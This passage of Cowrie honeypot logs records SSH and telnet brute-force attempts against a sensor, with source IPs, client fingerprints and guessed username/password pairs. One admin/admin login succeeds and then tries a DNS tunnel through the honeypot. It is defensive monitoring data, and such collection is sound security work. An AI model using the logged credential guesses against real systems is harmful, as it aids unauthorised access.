{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:23:27.709864Z","src_ip":"152.32.171.213","session":"6308897f7720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"Debian@2023","message":"login attempt [debian/Debian@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:23:28.630775Z","src_ip":"152.32.171.213","session":"6308897f7720","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:23:29.855258Z","src_ip":"152.32.171.213","session":"6308897f7720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":58854,"dst_ip":"10.17.0.5","dst_port":23,"session":"acd129ac7d53","protocol":"telnet","message":"New connection: 94.23.66.112:58854 (10.17.0.5:23) [session: acd129ac7d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:23:57.966935Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":53762,"dst_ip":"159.203.135.109","dst_port":22,"session":"093ddffa4f92","protocol":"ssh","message":"New connection: 46.29.234.126:53762 (159.203.135.109:22) [session: 093ddffa4f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:04.892936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:04.896946Z","src_ip":"46.29.234.126","session":"093ddffa4f92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:05.010827Z","src_ip":"46.29.234.126","session":"093ddffa4f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pavel","password":"1234","message":"login attempt [pavel/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:05.493976Z","src_ip":"46.29.234.126","session":"093ddffa4f92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:06.609362Z","src_ip":"46.29.234.126","session":"093ddffa4f92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":43862,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0b576d797a8","protocol":"ssh","message":"New connection: 92.207.4.157:43862 (159.203.135.109:22) [session: d0b576d797a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:09.092849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:09.096400Z","src_ip":"92.207.4.157","session":"d0b576d797a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:09.196821Z","src_ip":"92.207.4.157","session":"d0b576d797a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2005","message":"login attempt [root/2005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:09.611460Z","src_ip":"92.207.4.157","session":"d0b576d797a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:10.709368Z","src_ip":"92.207.4.157","session":"d0b576d797a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.92013144493103,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:15.886965Z","src_ip":"94.23.66.112","session":"acd129ac7d53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51218,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c106ed944e6","protocol":"telnet","message":"New connection: 172.81.62.90:51218 (159.203.135.109:23) [session: 9c106ed944e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:43.582855Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51204,"dst_ip":"159.203.135.109","dst_port":23,"session":"19581198ebd2","protocol":"telnet","message":"New connection: 172.81.62.90:51204 (159.203.135.109:23) [session: 19581198ebd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:44.666122Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":5970,"dst_ip":"10.17.0.5","dst_port":22,"session":"228a2cd628ea","protocol":"ssh","message":"New connection: 87.251.64.176:5970 (10.17.0.5:22) [session: 228a2cd628ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:57.377757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:57.382176Z","src_ip":"87.251.64.176","session":"228a2cd628ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:57.478897Z","src_ip":"87.251.64.176","session":"228a2cd628ea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:57.765246Z","src_ip":"87.251.64.176","session":"228a2cd628ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:57.862363Z","session":"228a2cd628ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:57.960124Z","src_ip":"87.251.64.176","session":"228a2cd628ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:24:58.056078Z","src_ip":"87.251.64.176","session":"228a2cd628ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":41042,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2ea2fcb3dae","protocol":"ssh","message":"New connection: 77.94.47.83:41042 (10.17.0.5:22) [session: a2ea2fcb3dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:25:03.237323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:25:03.242527Z","src_ip":"77.94.47.83","session":"a2ea2fcb3dae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:25:03.353279Z","src_ip":"77.94.47.83","session":"a2ea2fcb3dae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09041988","message":"login attempt [root/09041988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:25:03.687005Z","src_ip":"77.94.47.83","session":"a2ea2fcb3dae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:25:04.801044Z","src_ip":"77.94.47.83","session":"a2ea2fcb3dae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.11958980560303,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:25:20.785597Z","src_ip":"172.81.62.90","session":"19581198ebd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.79724144935608,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:25:22.380013Z","src_ip":"172.81.62.90","session":"9c106ed944e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":50266,"dst_ip":"159.203.135.109","dst_port":22,"session":"0607ca896a9b","protocol":"ssh","message":"New connection: 92.207.4.157:50266 (159.203.135.109:22) [session: 0607ca896a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:25:42.947442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:25:42.951747Z","src_ip":"92.207.4.157","session":"0607ca896a9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:25:43.053197Z","src_ip":"92.207.4.157","session":"0607ca896a9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:25:43.460696Z","src_ip":"92.207.4.157","session":"0607ca896a9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:25:44.556129Z","src_ip":"92.207.4.157","session":"0607ca896a9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":43106,"dst_ip":"10.17.0.5","dst_port":22,"session":"93756a86915c","protocol":"ssh","message":"New connection: 103.15.222.183:43106 (10.17.0.5:22) [session: 93756a86915c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:25:51.632760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:25:51.636000Z","src_ip":"103.15.222.183","session":"93756a86915c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:25:51.886743Z","src_ip":"103.15.222.183","session":"93756a86915c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100891","message":"login attempt [root/100891] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:25:52.651146Z","src_ip":"103.15.222.183","session":"93756a86915c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:25:53.907927Z","src_ip":"103.15.222.183","session":"93756a86915c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":44902,"dst_ip":"10.17.0.5","dst_port":22,"session":"7da12c5424d8","protocol":"ssh","message":"New connection: 27.71.230.31:44902 (10.17.0.5:22) [session: 7da12c5424d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:26:00.241170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:26:00.285305Z","src_ip":"27.71.230.31","session":"7da12c5424d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 